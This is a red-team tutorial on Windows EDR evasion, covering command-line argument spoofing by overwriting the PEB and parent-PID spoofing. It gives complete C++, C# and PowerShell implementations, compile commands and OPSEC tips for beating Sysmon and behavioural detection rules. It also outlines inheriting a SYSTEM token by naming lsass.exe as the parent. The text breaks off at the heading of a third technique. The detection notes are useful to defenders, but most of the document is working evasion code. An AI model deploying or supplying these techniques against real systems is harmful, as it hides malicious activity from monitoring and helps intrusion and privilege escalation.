Legend:
[SPOOF]= Spoofing technique |[PEB]= PEB manipulation |[PPID]= Parent PID spoofing |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[API]= Windows API call
1. What is Argument Spoofing & Why It Matters
What it means: Argument spoofing is a family of defense evasion techniques that manipulate what security tools see about a running process — specifically its command-line arguments, parent process identity, environment variables, and working directory — without affecting what the process actually executes.
The core problem EDR solves (and attackers abuse):
Normal detection flow:
Word.exe → spawns → powershell.exe -enc <base64_payload>
↓
EDR: "Word spawned PowerShell with suspicious args!" → ALERT
With PPID Spoofing:
Word.exe → spawns → powershell.exe -enc <base64_payload>
(disguised as explorer.exe → powershell.exe)
↓
EDR: "explorer.exe spawned PowerShell with innocent args" → ALLOW
Why it matters for red teaming:
| Scenario | No Spoofing | With Argument Spoofing |
|---|---|---|
| Office macro spawns PowerShell | "Word → PowerShell" rule fires | Appears as "explorer.exe → PowerShell" |
| Process launches with malicious args | CmdLine logged and flagged | Innocent-looking args logged |
| Beacon runs encoded payload | Suspicious encoded cmd logged | Nothing to see here |
| Environment vars reveal intent | COMPlus_ETWEnabled=0 visible |
Spoofed before ETW captures it |
| Process tree looks suspicious | Obvious parent–child chain | Clean, believable lineage |
The key insight:
Windows logs the command-line AT PROCESS CREATION TIME from the PEB.
The PEB lives in USER MODE — so it can be modified after creation but before execution.
Window: [CreateProcess SUSPENDED] → [Modify PEB] → [ResumeThread]
↑
EDR reads CmdLine here (logged already)
Process reads CmdLine here (modified version)
[OPSEC] Argument spoofing does not touch the network or write to disk. It operates entirely in memory using documented Windows APIs, making it extremely stealthy.
2. Windows Process Internals — PEB Deep Dive
What it means: Every Windows process has a Process Environment Block (PEB) — a user-mode data structure containing process metadata. Argument spoofing works by manipulating fields inside the PEB before process execution begins.
2.1 PEB Structure Overview
PEB (Process Environment Block)
├── InheritedAddressSpace
├── ReadImageFileExecOptions
├── BeingDebugged
├── BitField (...)
├── Mutant
├── ImageBaseAddress
├── Ldr ← Loader data (module list)
├── ProcessParameters ← RTL_USER_PROCESS_PARAMETERS * ← KEY TARGET
│ ├── MaximumLength
│ ├── Length
│ ├── Flags
│ ├── DebugFlags
│ ├── ConsoleHandle
│ ├── ConsoleFlags
│ ├── StandardInput
│ ├── StandardOutput
│ ├── StandardError
│ ├── CurrentDirectory ← WorkingDirectory UNICODE_STRING ← SPOOF TARGET
│ ├── DllPath
│ ├── ImagePathName
│ ├── CommandLine ← UNICODE_STRING ← MAIN SPOOF TARGET
│ ├── Environment ← Pointer to env block ← SPOOF TARGET
│ ├── StartingX
│ ├── StartingY
│ ├── CountX / CountY
│ ├── WindowTitle ← UNICODE_STRING ← SPOOF TARGET
│ └── DesktopInfo
├── AtlThunkSListPtr
├── ApiSetMap
└── ...
2.2 UNICODE_STRING Structure
// The CommandLine field is of type UNICODE_STRING
typedef struct _UNICODE_STRING {
USHORT Length; // Length of string in BYTES (not chars!)
USHORT MaximumLength; // Capacity in BYTES
PWSTR Buffer; // Pointer to wide-char string (WCHAR*)
} UNICODE_STRING, *PUNICODE_STRING;
Key rules when modifying CommandLine UNICODE_STRING:
1. Length = wcslen(newStr) * 2 (bytes, NOT characters)
2. MaximumLength = Length + 2 (include null terminator)
3. Buffer = points to WCHAR array
4. The FAKE cmdline (logged by EDR) must be >= length of REAL cmdline
(you can shorten apparent length by setting Length field smaller)
2.3 How EDR Reads Command-Line Arguments
EDR interception points:
1. NtCreateUserProcess callback (Kernel) → reads args from process object
2. Process creation ETW event → logs args from PEB snapshot at creation
3. Sysmon Event ID 1 → reads from PEB of newly created process
The race condition:
T0: CreateProcess(CMD_TO_SHOW) → process created suspended
T1: EDR/Sysmon reads PEB → logs CMD_TO_SHOW ← FAKE ARGS LOGGED HERE
T2: Attacker modifies PEB CommandLine → writes CMD_TO_EXEC
T3: ResumeThread() → process starts with CMD_TO_EXEC
T4: Process reads its own PEB → sees CMD_TO_EXEC ← REAL ARGS USED
2.4 Locating the PEB in a Remote Process
// Method 1: NtQueryInformationProcess (from ntdll.dll)
// The most reliable way to get PEB address of another process
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress; // ← PEB address lives here
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
// Usage:
NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi = {0};
DWORD returnLen = 0;
NtQIP(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLen);
// pbi.PebBaseAddress now holds the remote process's PEB address
3. Technique 1 — Command Line Argument Spoofing (PEB Overwrite)
What it means: Spawn a process in suspended state with innocent-looking fake arguments. Before resuming, locate the PEB in the remote process, find the CommandLine buffer inside ProcessParameters, overwrite it with the real malicious arguments, then resume. EDR logs the fake args; the process runs the real ones.
[SPOOF] [PEB] [EVASION]
3.1 How It Works — Step by Step
Step 1: CreateProcess(CMD_TO_SHOW, CREATE_SUSPENDED)
→ spawns process, logs CMD_TO_SHOW to Sysmon/ETW
Step 2: NtQueryInformationProcess → get PEB address
Step 3: ReadProcessMemory(PEB) → read PEB structure
Step 4: ReadProcessMemory(PEB.ProcessParameters) → read params structure
Step 5: WriteProcessMemory(params.CommandLine.Buffer, CMD_TO_EXEC)
→ overwrite commandline in place
Step 6: [Optional] Update CommandLine.Length to control truncation
Step 7: ResumeThread() → process executes CMD_TO_EXEC
Constraint: sizeof(CMD_TO_SHOW) >= sizeof(CMD_TO_EXEC)
(can't write more bytes than what was originally allocated)
3.2 Full C++ Implementation
// cmdline_spoof.cpp — Command Line Argument Spoofing
// Author: Based on Adam Chester (@_xpn_) "How to Argue like Cobalt Strike"
// MITRE: T1564.010 — Hide Artifacts: Process Argument Spoofing
#include <iostream>
#include <windows.h>
#include <winternl.h>
// ─── Configuration ────────────────────────────────────────────
// CMD_TO_SHOW: What EDR / Sysmon / Task Manager will see (FAKE - must be >= CMD_TO_EXEC size)
#define CMD_TO_SHOW "notepad.exe C:\\Windows\\System32\\kernel32.dll"
// CMD_TO_EXEC: What the process actually runs (REAL)
#define CMD_TO_EXEC L"notepad.exe C:\\Users\\Victim\\malicious.txt"
// ──────────────────────────────────────────────────────────────
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);
// Helper: Read arbitrary bytes from remote process
PVOID readProcessMemory(HANDLE hProcess, PVOID address, SIZE_T size) {
PVOID buffer = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(hProcess, address, buffer, size, &bytesRead)) {
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
return buffer;
}
// Helper: Write bytes to remote process
BOOL writeProcessMemory(HANDLE hProcess, PVOID address, PVOID data, SIZE_T size) {
SIZE_T bytesWritten = 0;
return WriteProcessMemory(hProcess, address, data, size, &bytesWritten);
}
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
BOOL success;
PROCESS_BASIC_INFORMATION pbi = { 0 };
DWORD retLen = 0;
SIZE_T bytesRead = 0;
PEB pebLocal = { 0 };
RTL_USER_PROCESS_PARAMETERS* params = NULL;
printf("[*] Argument Spoofing PoC\n");
printf("[*] Fake args (logged): %s\n", CMD_TO_SHOW);
printf("[*] Real args (executed): %ls\n\n", CMD_TO_EXEC);
// Step 1: Create process SUSPENDED with the FAKE arguments
// These are what Sysmon Event ID 1 / EDR will log
success = CreateProcessA(
NULL,
(LPSTR)CMD_TO_SHOW, // ← Fake command line (logged)
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\", // Working directory
&si,
&pi
);
if (!success) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Process spawned (suspended), PID: %lu\n", pi.dwProcessId);
// Step 2: Get PEB address via NtQueryInformationProcess
NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);
// Step 3: Read the PEB from remote process memory
success = ReadProcessMemory(
pi.hProcess,
pbi.PebBaseAddress,
&pebLocal,
sizeof(PEB),
&bytesRead
);
if (!success) {
printf("[-] ReadProcessMemory (PEB) failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return 1;
}
printf("[+] ProcessParameters Address: 0x%p\n", pebLocal.ProcessParameters);
// Step 4: Read ProcessParameters from remote process
params = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 512
);
if (!params) {
printf("[-] ReadProcessMemory (ProcessParameters) failed\n");
TerminateProcess(pi.hProcess, 1);
return 1;
}
printf("[+] CommandLine Buffer Address: 0x%p\n", params->CommandLine.Buffer);
printf("[+] Original (fake) CommandLine length: %u bytes\n", params->CommandLine.Length);
// Step 5: Overwrite CommandLine.Buffer with REAL (malicious) arguments
// This is what the process will actually read at runtime
WCHAR realArgs[] = CMD_TO_EXEC;
success = writeProcessMemory(
pi.hProcess,
params->CommandLine.Buffer,
(void*)realArgs,
sizeof(realArgs)
);
if (!success) {
printf("[-] WriteProcessMemory (CommandLine) failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return 1;
}
printf("[+] Real args written to process memory\n");
// Step 6 (Optional): Truncate the visible length
// Set CommandLine.Length to a smaller value → tools show truncated string
// This makes even live inspection see shorter, innocent-looking args
DWORD_PTR cmdLenOffset = (DWORD_PTR)pebLocal.ProcessParameters +
offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine) +
offsetof(UNICODE_STRING, Length);
USHORT newLen = (USHORT)(wcslen(realArgs) * sizeof(WCHAR));
writeProcessMemory(pi.hProcess, (PVOID)cmdLenOffset, &newLen, sizeof(USHORT));
// Step 7: Resume the process — it now runs with the REAL arguments
ResumeThread(pi.hThread);
printf("[+] Thread resumed — process executing with spoofed arguments\n");
// Cleanup
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
VirtualFree(params, 0, MEM_RELEASE);
return 0;
}
3.3 Compile & Run
# MinGW cross-compile (Linux → Windows)
x86_64-w64-mingw32-g++ cmdline_spoof.cpp -o cmdline_spoof.exe \
-lntdll -lkernel32
# MSVC (Windows)
cl.exe cmdline_spoof.cpp /Fe:cmdline_spoof.exe
# Run
.\cmdline_spoof.exe
# Observe in Sysmon / Task Manager / Process Hacker:
# → Logged args: notepad.exe C:\Windows\System32\kernel32.dll
# → Actual exec: notepad.exe C:\Users\Victim\malicious.txt
3.4 C# Implementation
// CmdlineSpoof.cs — C# argument spoofing using P/Invoke
// Based on the Cobalt Strike technique by Adam Chester
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
class CmdlineSpoof
{
// P/Invoke declarations
[DllImport("ntdll.dll", SetLastError = true)]
static extern int NtQueryInformationProcess(
IntPtr processHandle,
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
int processInformationLength,
out int returnLength);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int dwSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_BASIC_INFORMATION {
public IntPtr Reserved1;
public IntPtr PebBaseAddress;
public IntPtr Reserved2_0;
public IntPtr Reserved2_1;
public IntPtr UniqueProcessId;
public IntPtr Reserved3;
}
static void Main(string[] args)
{
// Configuration
string fakeArgs = "notepad.exe C:\\Windows\\System32\\kernel32.dll"; // Logged by EDR
string realArgs = "notepad.exe C:\\Users\\User\\payload.txt"; // Actually executes
Console.WriteLine("[*] C# Argument Spoofing");
Console.WriteLine($"[*] Fake (logged): {fakeArgs}");
Console.WriteLine($"[*] Real (executed): {realArgs}");
// Step 1: Spawn process suspended with fake args
var psi = new ProcessStartInfo {
FileName = "notepad.exe",
Arguments = fakeArgs.Substring("notepad.exe ".Length),
CreateNoWindow = false
};
// Use CreateProcess via P/Invoke for CREATE_SUSPENDED
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = Marshal.SizeOf(si);
bool created = CreateProcess(
null, fakeArgs, IntPtr.Zero, IntPtr.Zero,
false, 0x00000004 /* CREATE_SUSPENDED */, IntPtr.Zero,
@"C:\Windows\System32\", ref si, out pi
);
if (!created) {
Console.WriteLine("[-] CreateProcess failed");
return;
}
Console.WriteLine($"[+] Process PID: {pi.dwProcessId}");
// Step 2: Get PEB address
var pbi = new PROCESS_BASIC_INFORMATION();
NtQueryInformationProcess(pi.hProcess, 0, ref pbi, Marshal.SizeOf(pbi), out _);
IntPtr pebAddress = pbi.PebBaseAddress;
Console.WriteLine($"[+] PEB: 0x{pebAddress.ToInt64():X}");
// Step 3: Read PEB (8-byte pointer at offset 0x20 for x64 = ProcessParameters)
byte[] pebBuffer = new byte[0x100];
ReadProcessMemory(pi.hProcess, pebAddress, pebBuffer, pebBuffer.Length, out _);
IntPtr processParamsPtr = (IntPtr)BitConverter.ToInt64(pebBuffer, 0x20);
// Step 4: Read ProcessParameters
byte[] ppBuffer = new byte[0x400];
ReadProcessMemory(pi.hProcess, processParamsPtr, ppBuffer, ppBuffer.Length, out _);
// CommandLine.Buffer is at offset 0x70 (x64) in RTL_USER_PROCESS_PARAMETERS
IntPtr cmdLineBufPtr = (IntPtr)BitConverter.ToInt64(ppBuffer, 0x70);
Console.WriteLine($"[+] CommandLine.Buffer: 0x{cmdLineBufPtr.ToInt64():X}");
// Step 5: Write real arguments
byte[] realArgBytes = System.Text.Encoding.Unicode.GetBytes(realArgs + "\0");
WriteProcessMemory(pi.hProcess, cmdLineBufPtr, realArgBytes, realArgBytes.Length, out _);
Console.WriteLine("[+] Real args written");
// Step 6: Resume
ResumeThread(pi.hThread);
Console.WriteLine("[+] Process resumed with spoofed arguments!");
}
// Additional P/Invoke structures
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
struct STARTUPINFO {
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX, dwY, dwXSize, dwYSize;
public int dwXCountChars, dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput, hStdOutput, hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION {
public IntPtr hProcess, hThread;
public uint dwProcessId, dwThreadId;
}
}
3.5 PowerShell One-Liner (Proof of Concept)
# PowerShell argument spoofing using Add-Type and Win32 P/Invoke
# Quick PoC to demonstrate the technique
$code = @"
using System;
using System.Runtime.InteropServices;
public class ArgSpoof {
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string a, string b, IntPtr c,
IntPtr d, bool e, uint f, IntPtr g, string h, ref byte[] i, out long[] j);
// ... (simplified - see full C# above for production use)
}
"@
# Minimal demonstration: show the key API sequence
# 1. Spawn suspended
$si = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(100)
# 2. Read PEB → NtQueryInformationProcess
# 3. Find CommandLine.Buffer
# 4. WriteProcessMemory with real args
# 5. ResumeThread
Write-Host "[*] Full PoC requires the C# or C++ version above"
Write-Host "[*] Key API sequence:"
Write-Host " CreateProcess (CREATE_SUSPENDED=4)"
Write-Host " NtQueryInformationProcess(ProcessBasicInformation=0)"
Write-Host " ReadProcessMemory → PEB → ProcessParameters → CommandLine.Buffer"
Write-Host " WriteProcessMemory → overwrite with real args"
Write-Host " ResumeThread"
3.6 OPSEC Notes — CmdLine Spoofing
[DETECT] What security tools see:
Sysmon Event ID 1 → logs CommandLine at process creation (FAKE args)
ETW Microsoft-Windows-Kernel-Process → may log real or fake depending on timing
EDR API hooks → hooks may capture real args via kernel callbacks
[OPSEC] Constraint — fake args must be LONGER than real args:
Reason: CommandLine.Buffer is a fixed-size allocation. You can write
fewer bytes into it (appear shorter) but not more bytes (buffer overflow).
Solution: Make fake args longer by padding with spaces or extra args.
[OPSEC] Update the Length field:
After writing real args, update UNICODE_STRING.Length to reflect new length.
Otherwise tools reading PEB live (Process Hacker) may show truncated strings.
[EVASION] Sleep before ResumeThread:
Some EDRs snapshot PEB shortly after CreateProcess.
Brief Sleep() after creation but before resume gives EDR time to log
the fake args before you overwrite them.
[DETECT] Live inspection tools (Process Hacker, Process Explorer):
These re-read the PEB each time you look → they WILL see the real args
after overwrite. Only tools that log at creation time see the fake args.
4. Technique 2 — Parent Process ID (PPID) Spoofing
What it means: Windows allows specifying an arbitrary parent process when creating a new process via CreateProcess with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. This makes the new process appear to be a child of any chosen process (e.g., explorer.exe, svchost.exe) rather than the actual calling process.
[PPID] [EVASION]
4.1 Why PPID Spoofing Defeats EDR Rules
Common EDR/SIEM behavioral rules:
"Alert if Word.exe spawns PowerShell.exe"
"Alert if Excel.exe spawns cmd.exe"
"Alert if PowerShell.exe spawns mshta.exe"
PPID Spoofing bypass:
Attacker running inside Word.exe → spawns PowerShell.exe
BUT: specifies explorer.exe (PID 1234) as parent
What EDR sees: explorer.exe (1234) → PowerShell.exe
Actual truth: Word.exe (ATTACKER) → PowerShell.exe
Result: "explorer.exe spawned PowerShell" → benign, normal → NO ALERT
4.2 Key Windows APIs
[API] InitializeProcThreadAttributeList
→ Initializes attribute list for extended process/thread creation.
→ Call TWICE: first with NULL buffer to get required size, then with allocated buffer.
[API] UpdateProcThreadAttribute
→ Sets PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.
→ Accepts handle to desired "parent" process.
[API] CreateProcess (with EXTENDED_STARTUPINFO_PRESENT flag)
→ Uses STARTUPINFOEX structure with lpAttributeList set.
[API] OpenProcess
→ Opens handle to target parent process (needs PROCESS_CREATE_PROCESS access).
[API] DeleteProcThreadAttributeList
→ Cleanup after CreateProcess.
4.3 Full C++ Implementation
// ppid_spoof.cpp — Parent PID Spoofing
// Makes notepad.exe appear as a child of explorer.exe
// MITRE: T1134.004 — Access Token Manipulation: Parent PID Spoofing
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <string>
// Find PID of a process by name
DWORD GetProcessIdByName(const std::wstring& processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return 0;
}
// Core PPID spoofing function
BOOL SpawnWithSpoofedPPID(
const wchar_t* targetProcess, // Process to spawn
const wchar_t* spoofedParent, // Process to appear as parent
PROCESS_INFORMATION* piOut
) {
STARTUPINFOEXW si = { 0 };
SIZE_T attributeSize = 0;
BOOL result = FALSE;
// Step 1: Find PID of the process we want to appear as parent
DWORD parentPID = GetProcessIdByName(spoofedParent);
if (parentPID == 0) {
printf("[-] Could not find process: %ls\n", spoofedParent);
return FALSE;
}
printf("[+] Found %ls, PID: %lu\n", spoofedParent, parentPID);
// Step 2: Open a handle to the target parent process
HANDLE hParent = OpenProcess(
PROCESS_CREATE_PROCESS, // Required for PPID spoofing
FALSE,
parentPID
);
if (!hParent) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Opened handle to %ls\n", spoofedParent);
// Step 3: Get required attribute list size (call with NULL first)
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
// Step 4: Allocate memory for attribute list
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)
HeapAlloc(GetProcessHeap(), 0, attributeSize);
if (!si.lpAttributeList) {
printf("[-] HeapAlloc failed\n");
CloseHandle(hParent);
return FALSE;
}
// Step 5: Initialize attribute list
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize)) {
printf("[-] InitializeProcThreadAttributeList failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(hParent);
return FALSE;
}
// Step 6: Update attribute — set PARENT PROCESS to our chosen process
if (!UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // ← Magic attribute
&hParent,
sizeof(HANDLE),
NULL,
NULL
)) {
printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(hParent);
return FALSE;
}
// Step 7: Set up STARTUPINFOEX
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);
// Step 8: Create process with EXTENDED_STARTUPINFO_PRESENT flag
wchar_t cmdLine[MAX_PATH] = {0};
wcscpy_s(cmdLine, targetProcess);
result = CreateProcessW(
NULL,
cmdLine,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // ← Key flag
NULL,
NULL,
(LPSTARTUPINFOW)&si,
piOut
);
if (!result) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
} else {
printf("[+] Process created! PID: %lu\n", piOut->dwProcessId);
printf("[+] Appears as child of: %ls (PID %lu)\n", spoofedParent, parentPID);
}
// Cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(hParent);
return result;
}
int main() {
printf("[*] PPID Spoofing PoC\n\n");
PROCESS_INFORMATION pi = { 0 };
// Spawn notepad.exe appearing as child of explorer.exe
// Change L"explorer.exe" to any target parent (svchost.exe, lsass.exe, etc.)
if (SpawnWithSpoofedPPID(
L"notepad.exe", // Process to launch
L"explorer.exe", // Fake parent
&pi))
{
printf("\n[+] Success! Check Process Hacker / Task Manager:\n");
printf(" notepad.exe should show explorer.exe as parent\n");
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return 0;
}
4.4 Compile & Run
# Compile with MinGW
x86_64-w64-mingw32-g++ ppid_spoof.cpp -o ppid_spoof.exe -lkernel32
# Compile with MSVC
cl.exe ppid_spoof.cpp /Fe:ppid_spoof.exe
# Run (no admin needed for basic PPID spoofing)
.\ppid_spoof.exe
# Verify:
# Open Process Hacker → Find notepad.exe
# Parent should show: explorer.exe
# NOT: ppid_spoof.exe (actual parent)
4.5 PPID Spoofing for Privilege Escalation
// elevation_via_ppid.cpp — Inherit SYSTEM token via PPID
// Spawn process appearing as child of lsass.exe → inherits access token
// REQUIRES: Admin rights to open lsass.exe
// ⚠ lsass.exe requires PROCESS_CREATE_PROCESS — needs admin
DWORD lsassPID = GetProcessIdByName(L"lsass.exe");
HANDLE hLsass = OpenProcess(
PROCESS_CREATE_PROCESS, // Need this access right
FALSE,
lsassPID
);
// Then follow same PPID spoofing flow with hLsass as parent handle
// The spawned process inherits the SYSTEM token from lsass context
// Alternative elevated parents:
// - winlogon.exe (runs as SYSTEM)
// - services.exe (runs as SYSTEM)
// - lsass.exe (runs as SYSTEM, most commonly used)
// - spoolsv.exe (runs as SYSTEM)
4.6 PPID Spoofing in PowerShell
# ppid_spoof.ps1 — PowerShell PPID spoofing via Add-Type + P/Invoke
$code = @"
using System;
using System.Runtime.InteropServices;
public class PPIDSpoof {
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwAccess, bool bInherit, uint dwPID);
[DllImport("kernel32.dll")]
public static extern bool InitializeProcThreadAttributeList(
IntPtr lpAttributeList, int dwAttributeCount,
int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll")]
public static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute,
ref IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue,
IntPtr lpReturnSize);
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(
string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFOEX {
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO {
public int cb;
public string lpReserved, lpDesktop, lpTitle;
public int dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars,
dwFillAttribute, dwFlags;
public short wShowWindow, cbReserved2;
public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION {
public IntPtr hProcess, hThread;
public uint dwProcessId, dwThreadId;
}
}
"@
Add-Type -TypeDefinition $code
# Get explorer.exe PID
$explorerPID = (Get-Process explorer | Select-Object -First 1).Id
Write-Host "[*] Spoofing PPID → explorer.exe (PID: $explorerPID)"
# Open handle to explorer
$PROCESS_CREATE_PROCESS = 0x0080
$hParent = [PPIDSpoof]::OpenProcess($PROCESS_CREATE_PROCESS, $false, [uint32]$explorerPID)
Write-Host "[+] Handle to explorer: 0x$($hParent.ToString('X'))"
# Initialize attribute list
$attrSize = [IntPtr]::Zero
[PPIDSpoof]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$attrSize) | Out-Null
$attrList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($attrSize)
[PPIDSpoof]::InitializeProcThreadAttributeList($attrList, 1, 0, [ref]$attrSize) | Out-Null
# Set parent process attribute
$PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = [IntPtr]0x00020000
[PPIDSpoof]::UpdateProcThreadAttribute(
$attrList, 0,
$PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
[ref]$hParent,
[IntPtr][System.Runtime.InteropServices.Marshal]::SizeOf($hParent),
[IntPtr]::Zero, [IntPtr]::Zero
) | Out-Null
# Create process
$si = New-Object PPIDSpoof+STARTUPINFOEX
$si.StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
$si.lpAttributeList = $attrList
$pi = New-Object PPIDSpoof+PROCESS_INFORMATION
$EXTENDED_STARTUPINFO_PRESENT = 0x00080000
[PPIDSpoof]::CreateProcess($null, "notepad.exe", [IntPtr]::Zero, [IntPtr]::Zero,
$false, [uint32]$EXTENDED_STARTUPINFO_PRESENT, [IntPtr]::Zero,
$null, [ref]$si, [ref]$pi) | Out-Null
Write-Host "[+] Spawned notepad.exe as PID: $($pi.dwProcessId)"
Write-Host "[+] Appears as child of: explorer.exe (PID: $explorerPID)"
# Cleanup
[PPIDSpoof]::DeleteProcThreadAttributeList($attrList)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($attrList)
[PPIDSpoof]::CloseHandle($hParent)
4.7 OPSEC Notes — PPID Spoofing
[DETECT] Tools that SEE the spoof (spoofed PPID appears legitimate):
- Process Hacker (standard view)
- Task Manager
- Sysmon Event ID 1 (ParentProcessId field is spoofed)
- procmon.exe
[DETECT] Tools that CATCH the spoof (show real parent):
- ETW: Microsoft-Windows-Kernel-Process provider
- ProcMonXv2 (uses ETW, not PEB)
- Sysmon (if kernel callbacks are configured)
- EDRs with kernel-mode process creation callbacks
[OPSEC] Choose a believable parent:
BAD: lsass.exe → notepad.exe (lsass NEVER spawns user apps)
BAD: winlogon.exe → chrome.exe
GOOD: explorer.exe → notepad.exe (explorer spawns apps all the time)
GOOD: svchost.exe → rundll32.exe (normal Windows pattern)
GOOD: services.exe → conhost.exe (normal Windows pattern)
[OPSEC] Combine with CmdLine spoofing for maximum stealth:
→ PPID spoofed to explorer.exe
→ CmdLine shows: "notepad.exe C:\\readme.txt"
→ Actual: executes malicious code
→ Behavioral rules based on parent + cmdline both evaded
5. Technique 3 — Environment Variable Spoofing
